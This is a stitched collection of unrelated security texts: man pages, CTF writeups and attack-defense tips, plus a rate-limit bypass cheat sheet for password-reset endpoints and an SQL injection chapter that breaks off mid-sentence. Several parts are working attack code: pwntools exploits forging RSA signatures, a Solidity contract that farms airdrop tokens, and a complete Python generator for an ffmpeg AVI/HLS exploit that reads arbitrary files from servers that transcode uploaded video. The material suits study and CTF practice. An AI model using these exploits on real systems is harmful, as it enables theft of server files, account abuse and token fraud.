14846's current affinity list: 0-15 pid 14846's new affinity list: 1 ``` As we see, CPU affinity was changed ### Set CPU Affinity with muliple value That mean new CPU affinity list is `[0,1,2,3]` ```shell $ taskset -cp 0-3 14846 pid 14846's current affinity list: 1 pid 14846's new affinity list: 0-3 ``` You can set single CPU with the following command: ```shell $ taskset -cp 5,8,12 14846 pid 14846's current affinity list: 0-3 pid 14846's new affinity list: 5,8,12 ``` That mean new CPU affinity list is `[5,8,12]` ### Other You can set affinity by range with other like a specify CPU ```shell $ taskset -cp 1-3,12 14846 ``` Or ```shell $ taskset -cp 1-6:2 14846 ``` The suffix ":N" specifies stride in the range, for example 0-10:3 is interpreted as 0,3,6,9 list. Also see -------- [taskset — Linux manual page](https://man7.org/linux/man-pages/man1/taskset.1.html) _(man7.org)_
sec-knowleage
# Bypass 429 (Too Many Requests) 1. Try add some custom header ``` X-Forwarded-For : 127.0.0.1 X-Forwarded-Host : 127.0.0.1 X-Client-IP : 127.0.0.1 X-Remote-IP : 127.0.0.1 X-Remote-Addr : 127.0.0.1 X-Host : 127.0.0.1 ``` For example: ``` POST /ForgotPass.php HTTP/1.1 Host: target.com X-Forwarded-For : 127.0.0.1 ... email=victim@gmail.com ``` 2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit. ``` POST /ForgotPass.php HTTP/1.1 Host: target.com ... email=victim@gmail.com%00 ``` 3. Try changing user-agents, cookies and IP address ``` POST /ForgotPass.php HTTP/1.1 Host: target.com Cookie: xxxxxxxxxx ... email=victim@gmail.com ``` Try this to bypass ``` POST /ForgotPass.php HTTP/1.1 Host: target.com Cookie: aaaaaaaaaaaaa ... email=victim@gmail.com ``` 4. Add a random parameter on the last endpoint ``` POST /ForgotPass.php HTTP/1.1 Host: target.com ... email=victim@gmail.com ``` Try this to bypass ``` POST /ForgotPass.php?random HTTP/1.1 Host: target.com ... email=victim@gmail.com ``` 5. Add space after the parameter value ``` POST /api/forgotpass HTTP/1.1 Host: target.com ... {"email":"victim@gmail.com"} ``` Try this to bypass ``` POST /api/forgotpass HTTP/1.1 Host: target.com ... {"email":"victim@gmail.com "} ``` ## References * [Huzaifa Tahir](https://huzaifa-tahir.medium.com/methods-to-bypass-rate-limit-5185e6c67ecd) * [Gupta Bless](https://gupta-bless.medium.com/rate-limiting-and-its-bypassing-5146743b16be)
sec-knowleage
'\" t .TH "SYSTEMD\-DELTA" "1" "" "systemd 231" "systemd-delta" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-delta \- 查找覆盖配置文件 .SH "SYNOPSIS" .HP \w'\fBsystemd\-delta\fR\ 'u \fBsystemd\-delta\fR [OPTIONS...] [\fIPREFIX\fR[/\fISUFFIX\fR]|\fISUFFIX\fR...] .SH "描述" .PP \fBsystemd\-delta\fR 可用于识别与比较覆盖配置文件。 所谓"覆盖配置文件"是指: 位于较高优先级目录中、覆盖了较低优先级目录中同名配置文件的那些配置文件。 对于同名配置文件来说,其所处的目录决定了其优先级: /etc 目录优先级最高、 /run 目录优先级居中、 /usr/lib 目录优先级最低。 低优先级目录中的配置文件 会被高优先级目录中的同名配置文件覆盖。 此外, 某些配置文件还拥有对应的 "\&.d" 配置目录以包含配置片段。 这些配置片段 亦遵守相同的目录优先级与文件覆盖规则。 详见 \fBsystemd.unit\fR(5) 手册。 .PP 命令行参数分为前缀(PREFIX)与后缀(SUFFIX)两种, 且都是可选的。 前缀必须是某个包含配置文件的目录 (/etc, /run, /usr/lib, \&.\&.\&.), 若指定,则仅显示指定目录中的覆盖配置文件, 否则显示全部的覆盖配置文件。 后缀必须是某个包含配置片段的子目录( tmpfiles\&.d, sysctl\&.d, systemd/system, \&.\&.\&.), 若指定,则仅显示指定子目录中的覆盖配置片段, 否则显示全部的覆盖配置片段。 若未指定任何参数, 则显示全部的覆盖配置文件与覆盖配置片段。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-t\fR, \fB\-\-type=\fR .RS 4 仅列出指定类型的覆盖, 参数是一个逗号分隔的类型列表。 .sp 可识别的类型如下: .PP \fImasked\fR .RS 4 被屏蔽的文件 .RE .PP \fIequivalent\fR .RS 4 被相同内容文件覆盖的文件 .RE .PP \fIredirected\fR .RS 4 软连接到其他路径的文件 .RE .PP \fIoverridden\fR .RS 4 被不同内容文件覆盖的文件 .RE .PP \fIextended\fR .RS 4 被 "\&.d" 目录中的 *\&.conf 配置片段扩展的文件 .RE .PP \fIunchanged\fR .RS 4 保持原样,未被覆盖的文件 .RE .sp .RE .PP \fB\-\-diff=\fR .RS 4 默认值 \fByes\fR 表示在显示被覆盖文件的同时, 显示两个文件的不同之处。 .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .PP \fB\-\-no\-pager\fR .RS 4 不将程序的输出内容管道(pipe)给分页程序。 .RE .SH "例子" .PP 检查所有本地配置 .sp .if n \{\ .RS 4 .\} .nf systemd\-delta .fi .if n \{\ .RE .\} .PP 检查所有运行时配置 .sp .if n \{\ .RS 4 .\} .nf systemd\-delta /run .fi .if n \{\ .RE .\} .PP 检查所有系统单元的配置变化 .sp .if n \{\ .RS 4 .\} .nf systemd\-delta systemd/system .fi .if n \{\ .RE .\} .PP 检查所有系统单元的运行时配置片段变化 .sp .if n \{\ .RS 4 .\} .nf systemd\-delta \-\-type=extended /run/systemd/system .fi .if n \{\ .RE .\} .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd.unit\fR(5) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# Matrix CTF 2020 - אתגר מטריקס 2020 Writeups for the 2020 Matrix CTF. Solved with YaakovC. Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/12).
sec-knowleage
# Encrypted Pastebin - FLAG0 ## 0x00 Home ![](./imgs/home.jpg) ## 0x01 Try Post [http://127.0.0.1/xxxxxxxxxx/?post=6ybKGEfF47eN1k5eyj!lsraaVXFME-xBz51ocCeiAZPULUMIemubmPanqBO04ixb-01L-Qek7nUeXitmNAEMNrJ5BbfeP5GWD1hYEuHciAk81fRa4IyuvmcIG3sE1K11mM7s7hA1P1mChArqJR4i5wSrOF7O561nOHu!lGQcA1iFos-jU6x7iy-TJ4iI4yZjnHkcdXT2F9y6fH4!TY!DcA~~][1] The result page can decode the post param back to the **title** and **body** ## 0x02 Modify the Param Added **12345** as prefix for param **post** [http://127.0.0.1/xxxxxxxxxx/?post=123456ybKGEfF47eN1k5eyj!lsraaVXFME-xBz51ocCeiAZPULUMIemubmPanqBO04ixb-01L-Qek7nUeXitmNAEMNrJ5BbfeP5GWD1hYEuHciAk81fRa4IyuvmcIG3sE1K11mM7s7hA1P1mChArqJR4i5wSrOF7O561nOHu!lGQcA1iFos-jU6x7iy-TJ4iI4yZjnHkcdXT2F9y6fH4!TY!DcA~~][2] Caused errors and get a flag. ![](./imgs/flag.jpg) [1]: http://127.0.0.1/xxxxxxxxxx/?post=6ybKGEfF47eN1k5eyj!lsraaVXFME-xBz51ocCeiAZPULUMIemubmPanqBO04ixb-01L-Qek7nUeXitmNAEMNrJ5BbfeP5GWD1hYEuHciAk81fRa4IyuvmcIG3sE1K11mM7s7hA1P1mChArqJR4i5wSrOF7O561nOHu!lGQcA1iFos-jU6x7iy-TJ4iI4yZjnHkcdXT2F9y6fH4!TY!DcA~~ [2]: http://127.0.0.1/xxxxxxxxxx/?post=123456ybKGEfF47eN1k5eyj!lsraaVXFME-xBz51ocCeiAZPULUMIemubmPanqBO04ixb-01L-Qek7nUeXitmNAEMNrJ5BbfeP5GWD1hYEuHciAk81fRa4IyuvmcIG3sE1K11mM7s7hA1P1mChArqJR4i5wSrOF7O561nOHu!lGQcA1iFos-jU6x7iy-TJ4iI4yZjnHkcdXT2F9y6fH4!TY!DcA~~
sec-knowleage
# 线下攻防经验小结 首先,正常比赛会提供提交 flag 的接口,接口地址类似 `http://172.16.4.1/Common/submitAnswer`。一般我们需要根据主办方给出的文档要求通过接口提交 flag。在比赛中要求接口地址使用 Post 方式提交,提交时带两个参数,一个是 `Answer`,其值为获取到的 flag 字符串,而另一个则是 `token` ,其值为各个队伍的队伍 Token。 然后比赛时主办方也会给每个参赛队伍提供一台用于 **分析网络流量的虚拟机** ,选手需要访问地址下载流量文件进行分析。 ## 关注 Gamebox 状态 比赛中可以查看己方和敌方 GameBox 状态。时刻关注可以尽早获取比赛信息,根据信息做出调整。 对于己方 GameBox,有存在如下原因造成 GameBox 被 down 掉: 1. 主办方裁判系统存在失误,误判 GameBox 为不可用状态。这种情况一般在比赛开始前可以发现,如果发现存在这种情况,要尽早向工作人员示意处理以减少损失。 2. 程序 patch 失误导致服务不可用。在程序 patch 完之后要进入下一轮关注 GameBox 状态,如果 patch 失误导致不可用,需要及时挽救。但是也不要过度担心把原来的未修补过的漏洞程序换回去。因为 down 掉是所有队平分得很少的分,而直接上漏洞程序会使得强势的队伍直接利用得到很高的得分。所以要依据具体情况对待。 3. 对手不正当攻击导致 GameBox 不可用。如果发现,需要及时补救。 4. 主办方加强程序 check。这种情况主办方会对所有队员进行通知公告。在 GameBox 状态墙上的状态会显示该题的各队 GameBox 大面积不可用。 对于敌方 GameBox。我们可以获取以下信息。 1. 根据攻击流观测哪些队伍的 GameBox 没有防御成功。针对这些队伍可以更多地实现攻击 2. 有队伍拿出一血时。可以根据各队 GameBox 状态推断出一血队伍是否已经写出利用脚本。写出利用脚本后可以观测己方是否做好了防御。 ## 分清区段与端口 比赛过程中会主办方会安排好合理的网段分布。 维护的时候需要连接到本队 GameBox 所在网段上,根据主办方提供的 CTF 账号与密码登录。而与其他队伍的 GameBox 交互时则需要连接到对应的网段里与漏洞程序进行交互。提交 flag 则需要到指定的答题平台上提交。 !!! warning 这里尤其需要注意的就是端口。如果端口在不轻易间弄错的话,这样的错误是挺难察觉到的,而这样的失误也会带来不必要的损失。甚至会出现长时间无法提交 flag 的致命情况。所以需要小心注意。 ## 服务 patch 与防御 1. 程序 patch 要合理并同时符合裁判系统 check 条件。虽然系统的 check 并未公开是 check 哪里,但是一般情况下,系统是不会过度为难的。 2. 程序 patch 使用 IDA 进行修改,IDA 提供了三种方式的 patch:byte,word,assemble.其中字节码修改比较好用。因为逐字节修改不需考虑汇编指令,一般这样的修改改动也很小,在一定场合下十分好用。汇编指令级别的修改虽然方便不需要修改字节码,但是也造成了一定的不便。比如需要额外考虑汇编指令的长度,结构是否合理完整,逻辑是否和原来一样,修改的汇编指令是否合法等问题。 3. 在 patch 程序时要记得备份原来的漏洞程序,以供队伍分析使用。在上传 patch 的时候应该先删除原来的漏洞程序,然后将 patch 过的程序复制进去,复制进去之后还需要给程序赋予相应的权限。 4. 一般比赛中,漏洞程序会有十几处需要 patch 的地方。Patch 的时候不仅要讲究有效合理,还要满足能够在一定程度上防范或混淆对手的分析。 ## 构造脚本框架快速展开攻击 在攻防比赛过程中,一血显得尤其重要。因此有一个攻击脚本框架是非常有利的。快速开发攻击脚本,可以在前期保持优势地位,也可以在不断拿分的同时省下时间去做好防御。 ## 比赛的一些策略 1. 在比赛过程中,不宜死耗在一道题上,由于一血的优势性,在比赛过程中更应该全面了解赛题难度,先从 **简单题** 开始进行分析,步步为营。 2. 比赛过程中,两极会严重分化。应该着力打击和自己实力相当和比自己队伍更强的队伍,尤其是分数相差无几的情况下,更要严防严守。 3. 比赛中 NPC 会不定时发出攻击流量。从攻击流量中可以得到 payload。 4. 一定要把 NPC 往死里打。 5. 在开赛初可以将所有的管理密码都设置为同一个密码,这样方便队员登录管理。在初期将所有文件备份下来供队内分享。
sec-knowleage
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993 .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" .\" Modified Sun Jul 25 11:06:34 1993 by Rik Faith (faith@cs.unc.edu) .\" Corrected Mon Oct 21 17:47:19 EDT 1996 by Eric S. Raymond (esr@thyrsus.com) .TH NOLOGIN 5 1992-12-29 "Linux" "Linux Programmer's Manual" .SH NAME nologin \- 阻止非root用户登录系统 .SH 描述 DESCRIPTION 如果存在文件 \fB/etc/nologin\fP, .BR login (1) 将只允许root访问。其它用户的登录会遭到拒绝并且显示该文件中的内容给他们。 .SH 文件 FILES /etc/nologin .SH "参见 SEE ALSO" .BR login (1), .BR shutdown (8) .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .B 2000/11/6 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# RSA 数字签名 ## 原理 原理类似于 RSA 加密,只是这里使用私钥进行加密,将加密后的结果作为签名。 ## 2018 Backdoor Awesome mix1 首先,可以简单分析源码,这里程序使用 PKCS1_V1.5 进行了 RSA 签名,这会对明文消息进行扩展,具体扩展规则请参考 https://www.emc.com/collateral/white-papers/h11300-pkcs-1v2-2-rsa-cryptography-standard-wp.pdf 。这里给出对应扩展脚本,对应于题目中的 `from Util import PKCS1_pad as pad` ```python def PKCS1_pad(data): asn1 = "3021300906052b0e03021a05000414" ans = asn1 + data n = len(ans) return int(('00' + '01' + 'ff' * (1024 / 8 - n / 2 - 3) + '00' + ans), 16) ``` 程序希望我们给出 `n,e` 使得程序满足 $h(m)^e mod \ n=pad(m)$ 这里我们已经知道 `h(m),pad(m)`。显然如果我们控制 `e=1`的话,那么 $h(m)-pad(m)=kn$ 那么如果我们可以设置 k=1,既可以得到 n。 本地部署 `socat TCP4-LISTEN:12345,fork EXEC:./mix1.py`。 exp 如下 ```python from Crypto.Hash import SHA from pwn import * from Util import PKCS1_pad #context.log_level = 'debug' def main(): port = 12345 host = "127.0.0.1" p = remote(host, port) p.recvuntil('Message -> ') message = p.recvuntil('\n\nSignature -> ', drop=True) log.info('message: ' + message) signature = p.recvuntil('\n', drop=True) log.info('signature: ' + signature) h = SHA.new(message) m = PKCS1_pad(h.hexdigest()) e = 1 n = int(signature, 16) - m p.sendlineafter('Enter n:', str(n)) p.sendlineafter('Enter e:', str(e)) p.interactive() main() ``` 效果如下 ```shell ➜ 2018-BackdoorCTF-Awesome-mix1 git:(master) python exp.py [+] Opening connection to 127.0.0.1 on port 12345: Done [*] message: super important information for admin only [*] signature: 721af5bd401b5f2aff8e86bf811b827cdb5877ef12202f24fa914a26f235523f80c45fdbf0d3c9fa77278828ddd8ca0551a941bd57c97dd38654692568d1357a49e7a2a284d296508602ead24c91e5aa7f517b9e48422575f0dd373d00f267a206ba164ab104c488268b5f95daf490a048407773d4b1016de8ef508bf1aa678f [*] Switching to interactive mode CTF{cryp70_5ur3_15_w13rd} [*] Got EOF while reading in interactive ``` ## 2018 Backdoor Awesome mix2 本地部署 `socat TCP4-LISTEN:12345,fork EXEC:./service.py`。 题目类似于上面的题目,唯一的区别在于对于 e 有约束,必须大于 3,所以我们不能使用 1 了。 $h(m)^e mod \ n=pad(m)$ 这里我们已经知道 `h(m),pad(m)`。我们只需要构造剩下的数即可,这里我们构造 n 为素数,使得 n-1是一个光滑数,这样就可以使用 pohlig_hellman 算法了。 ```python from Crypto.Hash import SHA from pwn import * import gmpy2 from gmpy2 import is_prime import random def PKCS1_pad(data): asn1 = "3021300906052b0e03021a05000414" ans = asn1 + data n = len(ans) return int(('00' + '01' + 'ff' * (1024 / 8 - n / 2 - 3) + '00' + ans), 16) #context.log_level = 'debug' def gen_smooth_num(plist, minnum=pow(2, 1020)): lenp = len(plist) while True: n = 1 factors = dict() while n + 1 < minnum: tmp = random.randint(0, lenp - 1) n *= plist[tmp] if plist[tmp] in factors: factors[plist[tmp]] += 1 else: factors[plist[tmp]] = 1 if n.bit_length() > 1024: continue if is_prime(n + 1): return n + 1, factors # http://pythonexample.com/snippet/pohligpy_neuratron_python # solve g^x=h mod m def log_prime_power(g, h, pf, pe, M): powers = [pf**k for k in range(pe)] gamma = gmpy2.powmod(g, powers[-1], M) xk = gmpy2.mpz(0) for k in range(pe): if k == 0: hk = gmpy2.powmod(h, powers[pe - k - 1], M) else: gk = gmpy2.powmod(g, xk * (M - 2), M) hk = gmpy2.powmod(gk * h, powers[pe - k - 1], M) k_log_found = False for dk in range(pf): yk = gmpy2.powmod(gamma, dk, M) if yk == hk: k_log_found = True break if not k_log_found: raise Exception("can not solve") xk += gmpy2.mul(powers[k], dk) return xk def pohlig_hellman(g, h, M, factors): M1 = M - 1 xs = [] for f in factors: pf = f pe = factors[f] subgroup_exponent = gmpy2.div(M1, gmpy2.powmod(pf, pe, M)) gi = gmpy2.powmod(g, subgroup_exponent, M) hi = gmpy2.powmod(h, subgroup_exponent, M) xi = log_prime_power(gi, hi, pf, pe, M) xs.append(xi) crt_coeffs = [] for f in factors: pf = f pe = factors[f] mi = pf**pe bi = gmpy2.div(M, mi) bi_inv = gmpy2.invert(bi, mi) crt_coeffs.append(gmpy2.mul(bi, bi_inv)) x = 0 for i in range(len(crt_coeffs)): x = gmpy2.t_mod(x + gmpy2.t_mod(xs[i] * crt_coeffs[i], M1), M1) return x #context.log_level = 'debug' def main(): port = 12345 host = "127.0.0.1" p = remote(host, port) p.recvuntil('Message -> ') message = p.recvuntil('\n\nSignature -> ', drop=True) log.info('message: ' + message) signature = p.recvuntil('\n', drop=True) log.info('signature: ' + signature) signature = int(signature, 16) h = SHA.new(message) m = PKCS1_pad(h.hexdigest()) print m, signature plist = [] for i in range(2, 1000): if is_prime(i): plist.append(i) while True: try: n, factors = gen_smooth_num(plist, signature) e = pohlig_hellman(signature, m, n, factors) except Exception as e: continue else: break print n, e print m print gmpy2.powmod(signature, e, n) p.sendlineafter('Enter n:', str(n)) p.sendlineafter('Enter e:', str(e)) p.interactive() main() ``` 有两点需要注意 1. 由于 $g^x=y$ 中的 g 和 y 都是给定的,我们新找到的 n,不一定 g 的幂次构成的群会包含 y,所以可能求解失败,所以需要多次求解。 2. 源代码中虽然 `n.bit_length() <= 1025`,但是其实 n 在满足不小于 signature 的条件时,必须满足如下条件(pycrypto 源码) ```python modBits = Crypto.Util.number.size(self._key.n) k = ceil_div(modBits,8) # Convert from bits to bytes # Step 1 if len(S) != k: return 0 ``` 所以我们最好设置 n 为1024 比特位。
sec-knowleage
# Airdrop Hunting ## 原理 薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。其中首个自动化薅羊毛攻击出现在 [Simoleon](https://paper.seebug.org/646/) 上。 ## 例子 以数字经济大赛 2019 的 jojo 一题为例,讲解一下如何进行薅羊毛攻击。题目合约的源码如下: ```solidity pragma solidity ^0.4.24; contract jojo { mapping(address => uint) public balanceOf; mapping(address => uint) public gift; address owner; constructor()public{ owner = msg.sender; } event SendFlag(string b64email); function payforflag(string b64email) public { require(balanceOf[msg.sender] >= 100000); emit SendFlag(b64email); } function jojogame() payable{ uint geteth = msg.value / 1000000000000000000; balanceOf[msg.sender] += geteth; } function gift() public { assert(gift[msg.sender] == 0); balanceOf[msg.sender] += 100; gift[msg.sender] = 1; } function transfer(address to,uint value) public{ assert(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; } } ``` 可以发现我们需要满足 balanceOf[msg.sender] >= 100000 才可以得到 flag。 题目中有空投函数,每次空投可以使 balance 增加 100。 ```solidity function gift() public { assert(gift[msg.sender] == 0); balanceOf[msg.sender] += 100; gift[msg.sender] = 1; } ``` 并且也有转账函数,可以将 balance 转给其他用户。 ```solidity function transfer(address to,uint value) public{ assert(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; } ``` 那么我们可以使用薅羊毛的攻击方式,创建 1000 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 100000。 ```solidity contract attack{ function attack_airdrop(int num){ for(int i = 0; i < num; i++){ new middle_attack(this); } } function get_flag(string email){ jojo target = jojo(0xA3197e9Bc965A22e975F1A26654D43D2FEb23d36); target.payforflag(email); } } contract middle_attack{ constructor(address addr){ jojo target = jojo(0xA3197e9Bc965A22e975F1A26654D43D2FEb23d36); target.gift(); target.transfer(addr,100); } } ``` ## 题目 ### 数字经济大赛 2019 - 题目名称 jojo ### RoarCTF 2019 - 题目名称 CoinFlip ### QWB 2019 - 题目名称 babybet ### bctf 2018 - 题目名称 Fake3d !!! note 注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。 ## 参考 - [首个区块链 token 的自动化薅羊毛攻击分析](https://paper.seebug.org/646/) - [数字经济大赛 2019 - jojo](https://github.com/beafb1b1/challenges/tree/master/szjj/2019_jojo)
sec-knowleage
#!/usr/bin/env python3 from builtins import bytes from builtins import map from builtins import zip from builtins import range import struct import argparse import random import string AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi" ECHO_TEMPLATE = """### echoing {needed!r} #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv} #EXTINF:1, #EXT-X-BYTERANGE: 16 /dev/zero #EXT-X-KEY: METHOD=NONE """ # AES.new('\x00'*16).decrypt('\x00'*16) GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:' FULL_PLAYLIST = """#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 {content} #### random string to prevent caching: {rand} #EXT-X-ENDLIST""" EXTERNAL_REFERENCE_PLAYLIST = """ #### External reference: reading {size} bytes from {filename} (offset {offset}) #EXTINF:1, #EXT-X-BYTERANGE: {size}@{offset} {filename} """ XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00' def echo_block(block): assert len(block) == 16 iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)])) return ECHO_TEMPLATE.format(needed=block, iv=iv) def gen_xbin_sync(): seq = [] for i in range(60): if i % 2: seq.append(0) else: seq.append(128 + 64 - i - 1) for i in range(4, 0, -1): seq.append(128 + i - 1) seq.append(0) seq.append(0) for i in range(12, 0, -1): seq.append(128 + i - 1) seq.append(0) seq.append(0) return seq def test_xbin_sync(seq): for start_ind in range(64): path = [start_ind] cur_ind = start_ind while cur_ind < len(seq): if seq[cur_ind] == 0: cur_ind += 3 else: assert seq[cur_ind] & (64 + 128) == 128 cur_ind += (seq[cur_ind] & 63) + 3 path.append(cur_ind) assert cur_ind == len(seq), "problem for path {}".format(path) def echo_seq(s): assert len(s) % 16 == 0 res = [] for i in range(0, len(s), 16): res.append(echo_block(s[i:i + 16])) return ''.join(res) test_xbin_sync(gen_xbin_sync()) SYNC = echo_seq(gen_xbin_sync()) def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3): content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii') packet = b'00tx' + struct.pack('<I', len(content)) + content dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len return AVI_HEADER + packet + dcpkt * fake_packets def gen_xbin_packet_header(size): return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10]) def gen_xbin_packet_playlist(filename, offset, packet_size): result = [] while packet_size > 0: packet_size -= 16 assert packet_size > 0 part_size = min(packet_size, 64) packet_size -= part_size result.append(echo_block(gen_xbin_packet_header(part_size))) result.append( EXTERNAL_REFERENCE_PLAYLIST.format( size=part_size, offset=offset, filename=filename)) offset += part_size return ''.join(result), offset def gen_xbin_playlist(filename_to_read): pls = [echo_block(XBIN_HEADER)] next_delta = 5 for max_offs, filename in ( (5000, filename_to_read), (500, "file:///dev/zero")): offset = 0 while offset < max_offs: for _ in range(10): pls_part, new_offset = gen_xbin_packet_playlist( filename, offset, 0xf0 - next_delta) pls.append(pls_part) next_delta = 0 offset = new_offset pls.append(SYNC) return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join( random.choice(string.ascii_lowercase) for i in range(30))) if __name__ == "__main__": parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator') parser.add_argument( 'filename', help='filename to be read from the server (prefix it with "file://")') parser.add_argument('output_avi', help='where to save the avi') args = parser.parse_args() assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)" content = gen_xbin_playlist(args.filename) avi = make_playlist_avi(content) output_name = args.output_avi with open(output_name, 'wb') as f: f.write(avi)
sec-knowleage
# 十一、SQL 注入 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 SQL 注入,或者 SQLi 允许黑客将 SQL 语句注入到目标中并访问它们的数据库。它的潜力是无穷的,通常使其成为高回报的漏洞,例如,攻击者能够执行所有或一些 CURD 操作(创建、读取、更新、删除)来获取数据库信息。攻击者甚至能够完成远程命令执行。 SQLi 攻击通常是未转义输入的结果,输入被传给站点,并用作数据库查询的一部分。它的一个例子是: ```php $name = $_GET['name']; $query = "SELECT * FROM users WHERE name = $name"; ``` 这里,来自用户输入的传入值直接被插入到了数据库查询中。如果用户输入了`test' or 1=1`,查询就会返回第一条记录,其中`name = test or 1=1`,所以为第一行。现在在其他情况下,你可能会得到: ```php $query = "SELECT * FROM users WHERE (name = $name AND password = 12345"); ``` 这里,如果你使用了相同的载荷,你的语句最后会变成: ```php $query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345"); ``` 所以这里,查询会表现得有些不同(至少是 MySQL)。我们会获取所有记录,其中名称是`test`,或者密码是`12345`。很显然我们没有完成搜索数据库第一条记录的目标。因此,我们需要忽略密码参数,并能够使用注释来实现,`test' or 1=1;-- `。这里,我们所做的事情,就是添加一个分号来合理结束 SQL 语句,并且立即添加两个短横线(和一个空格)来把后面的所有东西标记为注释。因此不会被求职。它的结果会和我们初始的例子一样。 ## 示例 ### 1\. Drupal SQL 注入 难度:中 URL:任意版本小于 7.32 的 Drupal 站点 报告链接;`https://hackerone.com/reports/31756` 报告日期:2014.10.17 奖金:$3000 描述: Drupal 是一个流行的内容管理系统,用于构建网站,非常相似于 WordPress 和 Joomla。它以 PHP 编写,并且基于模块,意思是新的功能可以通过安装模块来添加到 Drupal 站点中。Drupal 社区已经编写了上千个,并且使他们可免费获取。其中的例子包括电子商务,三方继承,内容产品,以及其他。但是,每个 Drupal 的安装都包含想用的核心模块系列,用于运行平台,并且需要数据库的链接。这些通常都以 Drupal 核心来指代。 在 2014 年,Drupal 安全小组为 Drupal 核心发布了一个紧急安全更新,表明所有 Drupal 站点都存在 SQL 注入漏洞,它能够由匿名用户来完成。这一漏洞允许攻击者控制任意没有更新的 Drupal 站点。 对于漏洞来说, Stefan Horst 发现了 Drupal 开发者不当实现了数据库查询的包装功能,它能够被攻击者滥用。更具体来说,Drupal 使用 PHP 数据对象(PDO)作为结构用于访问数据库。Drupal 核心的开发者编写了代码来调用这些 PDO 函数,并且在其他开发者编写代码来和 Drupal 数据库交互的任何时候,这些代码都可以使用。这在软件开发中是个最佳时间。它的原因是为了让 Drupal 能够用于不同类型的数据库(MySQL、Postgres,一起其它),移除复杂性并提供标准化。 现在结果是,Stefan 发现了 Drupal 包装器代码对传给 SQL 